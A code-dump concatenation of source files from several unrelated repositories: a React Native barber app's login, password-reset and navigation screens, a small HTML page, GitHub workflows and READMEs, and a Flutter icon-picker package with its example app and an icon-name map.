import { TextInput, Button, Title } from 'react-native-paper';
export default class ResetPassword extends Component {
render() {
return (
<View style={styles.container}>
<Title style={styles.title}>Reset Password</Title>
<Formik
initialValues={{ password: '', confirmPassword: '' }}
onSubmit={values => Alert.alert(JSON.stringify(values))}
validationSchema={yup.object().shape({
password: yup
.string()
.min(6)
.required(),
confirmPassword: yup
.string()
.required()
.test('passwords-match', 'Passwords must match', function(value) {
return this.parent.password === value;
})
})}
>
{({ values, handleChange, errors, setFieldTouched, touched, isValid, handleSubmit }) => (
<Fragment>
<TextInput
label="password"
value={values.password}
onChangeText={handleChange('password')}
onBlur={() => setFieldTouched('password')}
/>
{touched.password && errors.password &&
<Text style={{ fontSize: 10, color: 'red' }}>{errors.password}</Text>
}
<TextInput
label="confirmPassword"
value={values.confirmPassword}
onChangeText={handleChange('confirmPassword')}
onBlur={() => setFieldTouched('confirmPassword')}
/>
{touched.confirmPassword && errors.confirmPassword &&
<Text style={{ fontSize: 10, color: 'red' }}>{errors.confirmPassword}</Text>
}
<Button style={{marginTop: 30}} icon="cached" disabled={!isValid} mode="contained" onPress={handleSubmit}>
Reset Password
</Button>
</Fragment>
)}
</Formik>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
marginTop: 50
},
title: {
fontWeight: 'bold',
marginTop: 50
},
input: {
margin: 10
}
});
<file_sep>/navigation/Screens.js
import React from 'react';
import { Easing, Animated, Platform } from 'react-native';
import { createSwitchNavigator, createStackNavigator, createDrawerNavigator, createAppContainer } from 'react-navigation';
import { Block, Text, theme } from "galio-framework";
import ComponentsScreen from '../screens/Components';
import HomeScreen from '../screens/Home';
import OnboardingScreen from '../screens/Onboarding';
import ProfileScreen from '../screens/Profile';
import ProScreen from '../screens/Pro';
import Registration from '../screens/Registration'
import Login from '../screens/Login'
import ResetPassword from '../screens/ResetPassword'
import ForgetPassword from "../screens/ForgetPassword"
import SettingsScreen from '../screens/Settings';
import Menu from './Menu';
import Header from '../components/Header';
import { Drawer } from '../components/';
const transitionConfig = (transitionProps, prevTransitionProps) => ({
transitionSpec: {
duration: 400,
easing: Easing.out(Easing.poly(4)),
timing: Animated.timing,
},
screenInterpolator: sceneProps => {
const { layout, position, scene } = sceneProps;
const thisSceneIndex = scene.index
const width = layout.initWidth
const scale = position.interpolate({
inputRange: [thisSceneIndex - 1, thisSceneIndex, thisSceneIndex + 1],
outputRange: [4, 1, 1]
})
const opacity = position.interpolate({
inputRange: [thisSceneIndex - 1, thisSceneIndex, thisSceneIndex + 1],
outputRange: [0, 1, 1],
})
const translateX = position.interpolate({
inputRange: [thisSceneIndex - 1, thisSceneIndex],
outputRange: [width, 0],
})
const scaleWithOpacity = { opacity }
const screenName = "Search"
if (screenName === transitionProps.scene.route.routeName ||
(prevTransitionProps && screenName === prevTransitionProps.scene.route.routeName)) {
return scaleWithOpacity;
}
return { transform: [{ translateX }] }
}
})
const ProfileStack = createStackNavigator({
Profile: {
screen: ProfileScreen,
navigationOptions: ({ navigation }) => ({
header: <Header white transparent title="Profile" navigation={navigation} />,
headerTransparent: true,
})
},
}, {
cardStyle: { backgroundColor: '#EEEEEE', },
transitionConfig,
});
const SettingsStack = createStackNavigator({
Settings: {
screen: SettingsScreen,
navigationOptions: ({ navigation }) => ({
header: <Header title="Settings" navigation={navigation} />,
})
},
}, {
cardStyle: { backgroundColor: '#EEEEEE', },
transitionConfig,
});
const ComponentsStack = createStackNavigator({
Components: {
screen: ComponentsScreen,
navigationOptions: ({ navigation }) => ({
header: <Header title="Components" navigation={navigation} />,
})
},
}, {
cardStyle: { backgroundColor: '#EEEEEE', },
transitionConfig,
});
const HomeStack = createStackNavigator({
Home: {
screen: HomeScreen,
navigationOptions: ({navigation}) => ({
header: <Header search tabs title="Home" navigation={navigation} />,
})
},
Pro: {
screen: ProScreen,
navigationOptions: ({navigation}) => ({
header: <Header back white transparent title="" navigation={navigation} />,
headerTransparent: true,
})
},
},
{
cardStyle: {
backgroundColor: '#EEEEEE', //this is the backgroundColor for the app
},
transitionConfig,
});
const AppStack = createDrawerNavigator(
{
Onboarding: {
screen: OnboardingScreen,
navigationOptions: {
drawerLabel: () => {},
},
},
Home: {
screen: HomeStack,
navigationOptions: {
drawerLabel: ({focused}) => (
<Drawer focused={focused} screen="Home" title="Home" />
)
}
},
Woman: {
screen: ProScreen,
navigationOptions: (navOpt) => ({
drawerLabel: ({focused}) => (
<Drawer focused={focused} screen="Pro" title="Woman" />
),
}),
},
Man: {
screen: ProScreen,
navigationOptions: (navOpt) => ({
drawerLabel: ({focused}) => (
<Drawer focused={focused} screen="Pro" title="Man" />
),
}),
},
Kids: {
screen: ProScreen,
navigationOptions: (navOpt) => ({
drawerLabel: ({focused}) => (
<Drawer focused={focused} screen="Pro" title="Kids" />
),
}),
},
NewCollection: {
screen: ProScreen,
navigationOptions: (navOpt) => ({
drawerLabel: ({focused}) => (
<Drawer focused={focused} screen="Pro" title="New Collection" />
),
}),
},
Profile: {
screen: ProfileStack,
navigationOptions: (navOpt) => ({
drawerLabel: ({focused}) => (
<Drawer focused={focused} screen="Profile" title="Profile" />
),
}),
},
Settings: {
screen: SettingsStack,
navigationOptions: (navOpt) => ({
drawerLabel: ({focused}) => (
<Drawer focused={focused} screen="Settings" title="Settings" />
),
}),
},
Components: {
screen: ComponentsStack,
navigationOptions: (navOpt) => ({
drawerLabel: ({focused}) => (
<Drawer focused={focused} screen="Components" title="Components" />
),
}),
},
MenuDivider: {
screen: HomeStack,
navigationOptions: {
drawerLabel: () => <Block style={{marginVertical: 8}}><Text>{` `}</Text></Block>,
},
},
ResetPassword: {
screen: ResetPassword,
navigationOptions: (navOpt) => ({
drawerLabel: ({focused}) => (
<Drawer focused={focused} screen="ResetPassword" title="Reset Password" />
),
}),
},
ForgetPassword: {
screen: ForgetPassword,
navigationOptions: (navOpt) => ({
drawerLabel: ({focused}) => (
<Drawer focused={focused} screen="ForgetPassword" title="Forget Password" />
),
}),
},
SignIn: {
screen: Login,
navigationOptions: (navOpt) => ({
drawerLabel: ({focused}) => (
<Drawer focused={focused} screen="Login" title="Sign In" />
),
}),
},
SignUp: {
screen: Registration,
navigationOptions: (navOpt) => ({
drawerLabel: ({focused}) => (
<Drawer focused={focused} screen="Registration" title="Sign Up" />
),
}),
},
},
Menu
);
const AppContainer = createAppContainer(AppStack);
export default AppContainer;<file_sep>/screens/Login.js
import * as yup from 'yup'
import { Formik } from 'formik'
import React, { Component, Fragment } from 'react';
import { Alert, StyleSheet, Text, View } from 'react-native';
import { TextInput, Button, Title } from 'react-native-paper';
export default class Login extends Component {
render() {
return (
<View style={styles.container}>
<Title style={styles.title}>Login</Title>
<Formik
initialValues={{ email: '', password: '' }}
onSubmit={values => Alert.alert(JSON.stringify(values))}
validationSchema={yup.object().shape({
email: yup
.string()
.email()
.required(),
password: yup
.string()
.min(6)
.required(),
})}
>
{({ values, handleChange, errors, setFieldTouched, touched, isValid, handleSubmit }) => (
<Fragment>
<TextInput
label="email"
value={values.email}
onChangeText={handleChange('email')}
onBlur={() => setFieldTouched('email')}
/>
{touched.email && errors.email &&
<Text style={{ fontSize: 10, color: 'red' }}>{errors.email}</Text>
}
<TextInput
label="password"
value={values.password}
onChangeText={handleChange('password')}
onBlur={() => setFieldTouched('password')}
secureTextEntry={true}
/>
{touched.password && errors.password &&
<Text style={{ fontSize: 10, color: 'red' }}>{errors.password}</Text>
}
<Button style={{marginTop: 30}} icon="login" disabled={!isValid} mode="contained" onPress={handleSubmit}>
Sign in
</Button>
</Fragment>
)}
</Formik>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
marginTop: 50
},
title: {
fontWeight: 'bold',
marginTop: 50
},
input: {
margin: 10
}
});
<file_sep>/constants/Theme.js
export default {
COLORS: {
DEFAULT: '#DCDCDC',
PRIMARY: '#9C26B0',
LABEL: '#FE2472',
INFO: '#00BCD4',
ERROR: '#F44336',
SUCCESS: '#4CAF50',
WARNING: '#FF9800',
MUTED: '#979797',
INPUT: '#DCDCDC',
ACTIVE: '#9C26B0',
BUTTON_MENU: '#9C26B0',
BUTTON_COLOR: '#6447a6',
PLACEHOLDER: '#9FA5AA',
SWITCH_ON: '#9C26B0',
SWITCH_OFF: '#D4D9DD',
GRADIENT_START: '#6B24AA',
GRADIENT_END: '#AC2688',
PRICE_COLOR: '#EAD5FB',
BORDER_COLOR: '#E7E7E7',
BLOCK: '#E7E7E7',
ICON: '#4A4A4A',
},
SIZES: {
BLOCK_SHADOW_RADIUS: 2,
}
};
|
b5d947d33728fd739bb6d7c524b15ee98757c3cb
|
[
"JavaScript"
] | 4 |
JavaScript
|
mudassirijaz786/barber-react-native
|
0db3162231eaf67ac3bba40a9869999fe8c722a5
|
8eb401c480d6870b3878322ecfcb14f347bf5639
|
refs/heads/master
|
<file_sep><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title></title>
<style type="text/css">
</style>
</head>
<body>
<div>
<img src="https://media.sproutsocial.com/uploads/2017/11/Social-Media-Ideas.png">
</div>
<script type="text/javascript">
/*form verification*/
//let formChanged = false;
//myForm.addEventListener('change', () => formChanged = true);
/*form verification*/
window.addEventListener('beforeunload', (event) => {
//if (formChanged) {
event.returnValue = `Are you sure you want to leave?`;
//}
});
</script>
</body>
</html>
|
5a0b92578c87e7b42fe7581ee24bc3cc50744207
|
[
"JavaScript"
] | 1 |
JavaScript
|
MiMoBR/js-beforeunload
|
1bf1888cf656334b38eed42514576a20e432a3dd
|
c3c1e9799cda67d3ab59e09148887a53d18bc9f1
|
refs/heads/master
|
<repo_name>fossabot/bigtoolbox-io<file_sep>/.github/workflows/push.yml
on:
push:
branches:
- master
name: Update submodule on parent repo
jobs:
updateThisSubmoduleOnParent:
name: Update This Submodule on Parent Repo
runs-on: ubuntu-latest
steps:
- name: Send POST
uses: swinton/httpie.action@69125d73caa2c6821f6a41a86112777a37adc171
with:
args: --auth-type=jwt "--auth=${{ secrets.BIGTOOLBOX_ACTIONS_PAT }}" POST api.github.com/repos/IncPlusPlus/bigtoolbox/dispatches
Accept:application/vnd.github.everest-preview+json event_type=submodule_update_prompt
<file_sep>/README.md
[](https://www.codacy.com/manual/IncPlusPlus/bigtoolbox-io?utm_source=github.com&utm_medium=referral&utm_content=IncPlusPlus/bigtoolbox-io&utm_campaign=Badge_Grade)
[](https://codebeat.co/projects/github-com-incplusplus-bigtoolbox-io-master)
[](https://codeclimate.com/github/IncPlusPlus/bigtoolbox-io/maintainability)
[](https://codeclimate.com/github/IncPlusPlus/bigtoolbox-io/test_coverage)[](https://app.fossa.io/projects/git%2Bgithub.com%2FIncPlusPlus%2Fbigtoolbox-io?ref=badge_shield)
## License
[](https://app.fossa.io/projects/git%2Bgithub.com%2FIncPlusPlus%2Fbigtoolbox-io?ref=badge_large)
|
358c12b071281415b249bb335c663eec29ded0eb
|
[
"Markdown",
"YAML"
] | 2 |
Markdown
|
fossabot/bigtoolbox-io
|
a50f3812634b67c847a39267711b92f164550d6d
|
279468c092bbd2823edb8d6bd000e8bae39654a3
|
refs/heads/master
|
<file_sep># TODO.PY
## A Python script for managing a personal Todo.txt file.
This script can be used to interact with `todo.txt`, a text file which represents the _next actions_ list in a GTD-like productivity system. It has support for _contexts_ (different kinds of tasks) and _projects_ (grouping tasks into arbitrary groups). You can quickly view all the current tasks, certain contexts and projects, or a combination of both. Tasks can be quickly added and removed from the `todo.txt` file from the command line.
Todo.py doesn't do priorities, or deadlines, or anything else. It's a simple example of how Python can read and write plain text files, created as a teaching example. The rest of this `README` file contains a walk through the original version of the source code, published on [Two Stops Down][1] in May of 2009.
[1]: http://www.twostopsdown.com/2009/04/30/using-python-to-manage-todotxt
## History
24/04/2011: Original script and article as they appeared on Two Stops Down.
# Using Python to Manage Todo.txt
As my first experiment with the Python programming language, I made a
script that helps me look at things in my `todo.txt` file.
Even if you don't know Python, this should be pretty easy to follow. I'll step
through it with you!
#!/usr/bin/env python
#Filename: todo.py
# A script to do things with todo.txt
These lines are just housekeeping. We're saying where Python is on the system
and what we're here to do.
import os
import sys
import re
Bringing in a few things to help us do things. `os` helps us get the location
of the todo.txt file, `sys` allows us to read command line arguments, and `re`
lets us do regular expressions.
# Configuration
todo_path = os.path.expanduser('~/todo.txt')
Somewhere for us to set the location of our file. The `os.path.expanduser`
replaces the `~` with our actual home directory.
Now we're onto our **functions**. These are things our program will do, and we
define them here rather than write it out every time we use it.
def LoadTodos():
global todos
todo_file = open(todo_path, 'r')
raw_todos = todo_file.readlines()
todo_file.close()
todos = []
for item in raw_todos:
item = item.strip("\n")
todos.append(item)
Our first function, `LoadTodos()`, does a few things. First of all, it opens
our `todo.txt` in a read-only mode. Next up, it pulls all the text out and
puts all the lines of text into a list (array). Just to finish up, we go
through each item and remove any line breaks - we add them ourselves later on.
def WriteTodos(arguments = ""):
LoadTodos()
todo_file = open(todo_path, 'a')
# Is there a newline aready here for us? If not, add it.
if todos[-1][-1] != "\n":
todo_file.write("\n")
# If we've been given something, add each of them followed by a new line.
if arguments != "":
for item in arguments:
todo_file.write(str(item) + "\n")
todo_file.close()
This function adds things to our `todo.txt`. This time, the file is opened in
append mode. This mode means every time we write to the file, we're just
adding on to the end of it.
Once we have the file, we check to see if we're on a new line already. We
check the very last character of the very last line and see if it's a new line
`\n`.
Finally, we check if we have any data to add, and then write it to the file.
We also add a newline (just a convention of mine).
def ShowResults(results, numbers = 1):
print('')
if len(results) == 0:
print("No results.")
else:
i = 1
for item in results:
if numbers == 1:
print("{0}. {1}".format(i, item))
else:
print(item)
i += 1
print('')
Our last function is used to show our results. This is more complex.
This function takes two arguments. It takes the results we're going to show,
as well as something called 'numbers', which we set to 1 by default. This
variable says if we want to enumerate the results or not.
Firstly we run a sanity check. If we have no results, we have nothing to show.
So we say just that.
If we do have results, we start a counter, and iterate through them. If we're
enumerating, we print them like "1. First item", "2. Second item", etc. If
not, we just print it.
# And on with the show...
# If we've got nothing to do, show what we've got!
if len(sys.argv) == 1:
LoadTodos()
ShowResults(todos)
sys.exit()
If someone just runs the script by itself (i.e., there are no arguments), we
run our `LoadTodos() `function and show the results. We then run sys.exit() to
finish up early.
# What if we want to look up something?
arg = sys.argv[1:]
results = []
Here's some more housekeeping. Notice how earlier, to check if there were no
arguments, we checked to see if `sys.argv` (a list of command line arguments)
had _one_ entry? The command itself is included as a command line argument, so
we have to trim that off somehow. Here, we make a new variable, `arg`, and
give it all the arguments bar the first (`sys.argv[0]`).
We also start an empty list called results, for when we need it.
if arg[0] == "=" or arg[0] == "@":
regex = str(arg[0]) + r"\S*"
projects = set()
LoadTodos()
for item in todos:
matches = re.findall(regex, item)
for match in matches:
match = match.strip("]")
projects.add(match)
ShowResults(sorted(projects), 0)
Now we have our arguments, we can start to parse it. Here we say, if the first
argument we get is an 'equals' sign or an 'at' sign, we load our `todo.txt`
and find all words starting with an equals or an at.
Just to explain my `todo.txt`: Each line is an action item, and optionally a
project (prefixed with an equals sign), and a context (prefixed with an at
sign). For example, if I have something to do with my website that I could
only do at my desk, it would appear like:
Change all the fonts to Crazy ITC. [=website @desk]
I usually keep these tags in square brackets, for purely aesthetic reasons.
Back to the code!
Whenever we find a word beginning with an equals or at sign, we add it to
projects, which is a **set**. A set is like a list, except _its items are
unique_. If you try to add something it already has, nothing happens. That
way, we get a unique-ified list of all our projects or contexts. We then use the
ShowResults() function to show the results in a list, with the optional number
parameter set to 0.
Here's an example output:
> todo =
=photography
=website
=dinner
=cookies
To continue:
elif arg[0][0] == '@' or arg[0][0] == '=':
#Yes, we are looking for something! Let's find it.
search_terms = "|".join(arg)
regex = re.compile(search_terms)
LoadTodos()
for item in todos:
if re.search(regex, item):
results.append(item)
ShowResults(results)
Next, we check to see if the first _character_ of the first argument is an
equals or an at sign. In this case, we assume we're wanting to look at items
that belong to certain projects or contexts.
To do this, we're putting together a regular expression, separating each of
our arguments by a bar. In regular expressions, this means 'or', so it picks
up items that contains any of the arguments. We put these all in our results
list, and then show them.
In practice:
> todo @town @home
1. Take out the trash [@home]
2. Bank heist [@town =mafia]
Onward:
elif arg[0][0] == '+': # Emulate an "AND" operator.
LoadTodos()
old_results = todos[:] # Start with all the items.
for term in arg[1:]: # Iterate through each of the terms
new_results = []
regex = re.compile(term)
for item in old_results:
if re.search(regex, item):
item = item.strip('\n')
new_results.append(item) # Move matching items into a new list
old_results = new_results # ... which goes on to the next round.
ShowResults(new_results)
Now we're getting deep. We want to do the same as before, but we want items
that match _all_ of the arguments. This is tricky to do in a single regular
expression, as the terms could be in any order in the `todo.txt` file.
To get around this we start with a list of all of our `todo.txt` items, and
iterate through each of our arguments, filtering the list down term by term.
Matching items are put into a new variable, which is then filtered by the next
argument, and so on. The remaining results are then shown.
For example:
> todo @school =photography
1. Ask repographics about A2 prints, kinds of paper? [@school =photography =bigprints]
2. Play baseball with the Canon 1500mm f/5.6 [@school =sport =photography]
Let's continue:
elif arg[0] == "done":
search_terms = "|".join(arg[1:])
regex = re.compile(search_terms)
LoadTodos()
for item in todos:
if re.search(regex, item):
results.append(item)
i = 1
numbered_results = {}
for item in results:
numbered_results[i] = item
i += 1
ShowResults(results)
to_del = input("? ")
if to_del != "q":
new_todos = []
for item in todos:
if item != numbered_results[int(to_del)]:
new_todos.append(item)
todo_file = open(todo_path, 'w')
todo_file.write("\n".join(new_todos))
todo_file.close()
Last but not least, one of the hardest. What's the easiest way to delete items
from our todo list? We're already numerating our search results, so with this
solution, we input the number of the item that's completed, and it removes it
from the file. To be specific, it opens our `todo.txt` in a **write** mode.
When we write to the file now, it completely overwrites it with our new list.
I won't go into depth on what's going on here, but essentially we're cloning
our first searching mechanism. We're then showing them to the user, asking for
a number, and then numerating the results for Python using a _dictionary_ (the
same as a two-dimensional array in PHP). This is just so Python can relate the
number it gets to an actual entry.
It then goes through the `todo.txt`, find the item we completed, and removes
it from its own internal copy of the list. We then write it out to the file,
using the join method to convert our array into a text stream.
Here's an example of it in action:
> todo done @home
1. Take out the trash [@home]
? 1
This removes the entry `"take out the trash"` from `todo.txt`.
else:
# Looks like we want to add something instead.
WriteTodos(arg)
Well, all right. One more thing. If we've entered something else that we
haven't identified so far, we use our `WriteTodos()` function to add a new
entry to our file. For example:
> todo "Give up on Ruby [=python]"
… adds the entry to the file.
It's a big job for such a simple task, but it's a good demonstration of some
simple file input-out, as well as integrating regular expressions into Python
functions.
I hope this was an interesting look at some basic code. Take care!
|
977656e5251eb7dbcdc4d88aa203cf442b454368
|
[
"Text"
] | 1 |
Text
|
antiface/Todo.py-1
|
1d4b294dd455764930abefdc1212e85f636364fa
|
9bb9166a34e70b17924122fb0100266676479341
|
refs/heads/master
|
<repo_name>kacperwolow/kacperwolow.github.io<file_sep>/README.md
# kacperwolow.github.io
|
199e56139eed752b05ec5dfd6599499d9b8b8ab2
|
[
"Markdown"
] | 1 |
Markdown
|
kacperwolow/kacperwolow.github.io
|
5c7386988d89369af00ee7ed2af50fa49475d219
|
5af74f1d809a594dcd54d4e52b6591f41380ba19
|
refs/heads/master
|
<repo_name>aldonline/heroku_friendly_multiple_app_repo_layout<file_sep>/start.sh
if [ -e target/start ]; then target/start -Dhttp.port=$PORT $JAVA_OPTS; else node web.js; fi<file_sep>/web.js
var app = require('express')()
app.get( '/', function(req, res){ res.send('Hello!') } )
app.listen( process.env.PORT || 3000 )
|
e5ced7c9ca635dc566c2d6edfdd331c013c30640
|
[
"Shell",
"JavaScript"
] | 2 |
Shell
|
aldonline/heroku_friendly_multiple_app_repo_layout
|
74c5b73d1779370efc5dfb5db52f30da310bd892
|
6f443dc5c968aaee0620fbc9e0127c430c3ed054
|
refs/heads/master
|
<file_sep>name: flutter_iconpicker
description: A Dialog for picking Icons in Flutter and use them anywhere. Can be
used as a default Dialog or as a Adaptive Dialog.
version: 3.0.0-nullsafety
homepage: https://github.com/Ahmadre
repository: https://github.com/Ahmadre/FlutterIconPicker
environment:
sdk: ">=2.10.5 <3.0.0"
flutter: ">=1.12.0"
dependencies:
flutter:
sdk: flutter
cupertino_icons: ^1.0.0
font_awesome_flutter: ^8.11.0
line_awesome_flutter: ^1.0.1
outline_material_icons: ^0.1.1
flex_color_picker: ^1.1.3
dev_dependencies:
flutter_test:
sdk: flutter
flutter:
uses-material-design: true
fonts:
- family: LineAwesomeIcons
fonts:
- asset: fonts/LineAwesome.ttf
style: normal
- family: FontAwesomeBrands
fonts:
- asset: fonts/fa-brands-400.ttf
style: normal
- family: FontAwesomeSolid
fonts:
- asset: fonts/fa-solid-900.ttf
style: normal
- family: FontAwesomeRegular
fonts:
- asset: fonts/fa-regular-400.ttf
style: normal
- family: OMIcons
fonts:
- asset: fonts/outline_material.ttf
style: normal
<file_sep>import 'package:flutter/material.dart';
import '../Helpers/ColorBrightness.dart';
import '../IconPicker/iconPicker.dart';
import '../IconPicker/searchBar.dart';
import '../Models/IconPack.dart';
import 'package:flex_color_picker/flex_color_picker.dart';
class FullScreenDialog extends StatefulWidget {
FullScreenDialog({
Key key,
this.showSearchBar,
this.showTooltips,
this.backgroundColor,
this.title,
this.iconPackMode,
this.customIconPack,
this.searchIcon,
this.searchClearIcon,
this.searchHintText,
this.iconColor,
this.noResultsText,
this.iconSize,
this.mainAxisSpacing,
this.crossAxisSpacing,
}) : super(key: key);
final bool showSearchBar;
final bool showTooltips;
final Color backgroundColor;
final Widget title;
final IconPack iconPackMode;
final Map<String, IconData> customIconPack;
final Icon searchIcon;
final Icon searchClearIcon;
final String searchHintText;
Color iconColor;
final String noResultsText;
final double iconSize;
final double mainAxisSpacing;
final double crossAxisSpacing;
@override
FullScreenDialogState createState() => FullScreenDialogState();
}
// ignore: must_be_immutable
class FullScreenDialogState extends State<FullScreenDialog> {
@override
Widget build(BuildContext context) {
return Scaffold(
backgroundColor: widget.backgroundColor,
body: SafeArea(
child: Padding(
padding: EdgeInsets.only(
top: 10,
bottom: 20,
left: 20,
right: 20,
),
child: Column(
children: <Widget>[
Container(
height: kToolbarHeight,
child: Row(
mainAxisAlignment: MainAxisAlignment.spaceBetween,
children: [
Padding(
padding: EdgeInsets.only(left: 6),
child: DefaultTextStyle(
child: widget.title,
style: TextStyle(
color:
ColorBrightness(widget.backgroundColor).isLight()
? Colors.black
: Colors.white,
fontSize: 20,
),
),
),
IconButton(
icon: Icon(
Icons.close,
color: ColorBrightness(widget.backgroundColor).isLight()
? Colors.black
: Colors.white,
),
onPressed: () => Navigator.pop(context),
),
],
),
),
if (widget.showSearchBar)
SearchBar(
iconPack: widget.iconPackMode,
customIconPack: widget.customIconPack,
searchIcon: widget.searchIcon,
searchClearIcon: widget.searchClearIcon,
searchHintText: widget.searchHintText,
backgroundColor: widget.backgroundColor,
),
SizedBox(height: 15),
Align(
alignment: Alignment.centerLeft,
child: Container(
child: Text(
"Colors",
),
),
),
SizedBox(height: 15),
ColorPicker(
color: widget.iconColor,
pickersEnabled: const <ColorPickerType, bool>{
ColorPickerType.both: false,
ColorPickerType.primary: true,
ColorPickerType.accent: false,
ColorPickerType.bw: false,
ColorPickerType.custom: false,
ColorPickerType.wheel: false,
},
borderRadius: 30,
spacing: 10,
runSpacing: 10,
width: 30,
height: 30,
onColorChanged: (Color color) =>
setState(() => widget.iconColor = color),
heading: null),
SizedBox(height: 5),
Align(
alignment: Alignment.centerLeft,
child: Container(
child: Text(
"Icons",
),
),
),
SizedBox(height: 10),
Expanded(
child: IconPicker(
showTooltips: widget.showTooltips,
iconPack: widget.iconPackMode,
customIconPack: widget.customIconPack,
iconColor: widget.iconColor,
backgroundColor: widget.backgroundColor,
noResultsText: widget.noResultsText,
iconSize: widget.iconSize,
mainAxisSpacing: widget.mainAxisSpacing,
crossAxisSpacing: widget.crossAxisSpacing,
),
),
],
),
),
),
);
}
}
<file_sep>import 'package:flutter/cupertino.dart';
import 'package:flutter/material.dart';
import 'package:flutter_iconpicker/flutter_iconpicker.dart';
void main() {
runApp(FlutterIconPickerExample());
}
class FlutterIconPickerExample extends StatefulWidget {
const FlutterIconPickerExample({
Key key,
}) : super(key: key);
@override
_FlutterIconPickerExampleState createState() =>
_FlutterIconPickerExampleState();
}
class _FlutterIconPickerExampleState extends State<FlutterIconPickerExample> {
bool isDarkTheme = false;
@override
Widget build(BuildContext context) {
return MaterialApp(
home: HomeScreen(
isDarkTheme: isDarkTheme,
onThemeChanged: (bool val) => setState(() => isDarkTheme = val),
),
debugShowCheckedModeBanner: false,
themeMode: isDarkTheme ? ThemeMode.dark : ThemeMode.light,
darkTheme: ThemeData(brightness: Brightness.dark),
theme: ThemeData(brightness: Brightness.light),
);
}
}
class HomeScreen extends StatefulWidget {
const HomeScreen({
Key key,
this.isDarkTheme,
this.onThemeChanged,
}) : super(key: key);
final bool isDarkTheme;
final ValueChanged<bool> onThemeChanged;
@override
_HomeScreenState createState() => _HomeScreenState();
}
class _HomeScreenState extends State<HomeScreen> {
Icon _icon;
bool isAdaptive = true;
bool showTooltips = false;
bool showSearch = true;
_pickIcon() async {
Map<String, Object> icon = await FlutterIconPicker.showIconPicker(
context,
searchHintText: "Search for an icon",
adaptiveDialog: isAdaptive,
showTooltips: showTooltips,
showSearchBar: showSearch,
iconPickerShape:
RoundedRectangleBorder(borderRadius: BorderRadius.circular(20)),
iconPackMode: IconPack.cupertino,
);
if (icon != null) {
var iconMain = icon["icon"];
var iconColor = icon["iconColor"];
_icon = Icon(iconMain, color: iconColor);
setState(() {});
debugPrint('Picked Icon: $icon');
}
}
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(
title: Text('Flutter Icon Picker Demo'),
actions: [
IconButton(
icon: widget.isDarkTheme
? Transform.rotate(angle: .55, child: Icon(Icons.brightness_3))
: Icon(Icons.brightness_7),
onPressed: () => widget.onThemeChanged(!widget.isDarkTheme),
tooltip: 'Switch brightness',
),
],
),
body: Center(
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
crossAxisAlignment: CrossAxisAlignment.center,
children: <Widget>[
ButtonBar(
alignment: MainAxisAlignment.center,
children: [
ElevatedButton(
onPressed: _pickIcon,
child:
Text(_icon != null ? 'Change Icon' : 'Open IconPicker'),
),
if (_icon != null)
ElevatedButton(
onPressed: () => setState(() => _icon = null),
child: Text('Clear Icon'),
),
],
),
SizedBox(height: 10),
AnimatedSwitcher(
duration: Duration(milliseconds: 300),
child: _icon != null ? _icon : Container(),
),
],
),
),
bottomSheet: Container(
color: Colors.blue.shade500,
child: Row(
children: [
Flexible(
child: SwitchListTile.adaptive(
title: Text('Show search-bar',
style: TextStyle(color: Colors.white)),
value: showSearch,
onChanged: (val) => setState(() => showSearch = val),
),
),
Flexible(
child: SwitchListTile.adaptive(
title: Text('Show tooltips',
style: TextStyle(color: Colors.white)),
value: showTooltips,
onChanged: (val) => setState(() => showTooltips = val),
),
),
Flexible(
child: SwitchListTile.adaptive(
title: Text('Adaptive dialog',
style: TextStyle(color: Colors.white)),
value: isAdaptive,
onChanged: (val) => setState(() => isAdaptive = val),
),
),
],
),
),
);
}
}
<file_sep>name: ci
on:
push:
branches: [ master ]
pull_request:
branches: [ master ]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
#- uses: cedx/setup-dart@v2.5.0
# with:
# version: '2.12.0-259.15.beta'
# release-channel: beta
- uses: actions/setup-java@v1
with:
java-version: '12.x'
- uses: subosito/flutter-action@v1.4.0
with:
flutter-version: '1.26.0-17.6.pre'
channel: beta
- run: flutter pub get
- run: flutter analyze
- run: flutter test
<file_sep>/// Flutter icons FrinoIcons
/// This font was generated by FlutterIcon.com, which is derived from Fontello.
import 'package:flutter/material.dart';
const _kFontFam = 'LineAwesomeIcons';
const _kFontPackage = 'line_awesome_flutter';
const Map<String, IconData> lineAwesomeIcons = {
'caret_square_right_1':
const IconData(0xe800, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'rock__hand__1':
const IconData(0xe801, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'face_with_rolling_eyes_1':
const IconData(0xe802, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_trash_1':
const IconData(0xe803, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'caret_square_up_1':
const IconData(0xe804, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'eye_slash_1':
const IconData(0xe805, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'neutral_face_1':
const IconData(0xe806, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'map_1':
const IconData(0xe807, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'building_1':
const IconData(0xe808, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'copy_1':
const IconData(0xe809, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dot_circle_1':
const IconData(0xe80a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grinning_face_with_big_eyes_1':
const IconData(0xe80b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'face_with_tears_of_joy_1':
const IconData(0xe80c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'star_half_1':
const IconData(0xe80d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'audio_file_1':
const IconData(0xe80e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'grinning_face_with_smiling_eyes_1':
const IconData(0xe80f, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'smiling_face_1':
const IconData(0xe810, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'window_maximize_1':
const IconData(0xe811, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'loudly_crying_face_1':
const IconData(0xe812, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sticky_note_1':
